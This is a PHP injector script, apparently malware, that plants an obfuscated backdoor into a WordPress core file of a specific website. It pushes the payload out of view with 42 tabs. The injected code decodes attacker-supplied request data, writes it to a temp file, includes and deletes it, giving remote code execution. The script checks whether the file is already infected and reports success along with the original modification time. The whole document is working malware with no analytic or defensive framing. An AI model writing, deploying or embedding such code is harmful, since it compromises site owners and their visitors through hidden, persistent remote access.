<?php  $path = '/var/www/vhost/www.mocrea.it/wp-includes/sodium_compat/src/Core32/Salsa20.php'; $ft = @filemtime($path); $content = file_get_contents($path); $new_code = rawurldecode('if%28%21is_null%28%24_REQUEST%5B%22%5Cx6Fbjec%5Cx74%22%5D%20%3F%3F%20null%29%29%7B%20%24data%20%3D%20array_filter%28%5Bini_get%28%22upload_tmp_dir%22%29%2C%20getenv%28%22TMP%22%29%2C%20getenv%28%22TEMP%22%29%2C%20%22/var/tmp%22%2C%20%22/tmp%22%2C%20sys_get_temp_dir%28%29%2C%20getcwd%28%29%2C%20session_save_path%28%29%2C%20%22/dev/shm%22%5D%29%3B%20%24val%20%3D%20%24_REQUEST%5B%22%5Cx6Fbjec%5Cx74%22%5D%3B%20%24val%20%3D%20explode%20%28%20%22.%22%20%2C%20%24val%20%29%3B%20%24res%3D%20%27%27%3B%20%24salt6%3D%20%27abcdefghijklmnopqrstuvwxyz0123456789%27%3B%20%24lenS%3D%20strlen%28%20%24salt6%20%29%3B%20%24j%3D%200%3B%20%24len%3D%20count%28%20%24val%20%29%3B%20do%20%7B%20if%28%20%24j%20%3E%3D%20%24len%29%20break%3B%20%24v3%3D%20%24val%5B%24j%5D%3B%20%24sChar%3D%20ord%28%20%24salt6%5B%24j%20%25%20%24lenS%5D%20%29%3B%20%24d%3D%20%28%20%28%20int%29%24v3%20-%20%24sChar%20-%28%20%24j%20%25%2010%29%29%20%5E%2052%3B%20%24res%20.%3D%20chr%28%20%24d%20%29%3B%20%24j%2B%2B%3B%20%7D%20while%28%20true%20%29%3B%20foreach%20%28%24data%20as%20%24token%29%20%7B%20if%20%28is_dir%28%24token%29%20%26%26%20is_writable%28%24token%29%29%20%7B%20%24bind%20%3D%20%22%24token%22%20.%20%22/.mrk%22%3B%20if%20%28file_put_contents%28%24bind%2C%20%24res%29%29%20%7B%20include%20%24bind%3B%20%40unlink%28%24bind%29%3B%20die%28%29%3B%20%7D%20%7D%20%7D%20%7D'); if (strstr($content, $new_code)) {     die('!already injected!'); } $starts = ['<?php', '<?']; foreach ($starts as $start) {     if (substr($content, 0, strlen($start)) == $start) {         $content = substr($content, strlen($start));         $content = $start.str_repeat("\t", 42).$new_code."\n".$content;         if (file_put_contents($path, $content)) {             $content = file_get_contents($path);             if (strstr($content, $new_code)) {                 die("!success!<ft>{$ft}</ft>");             }         }     } } die('!failed!');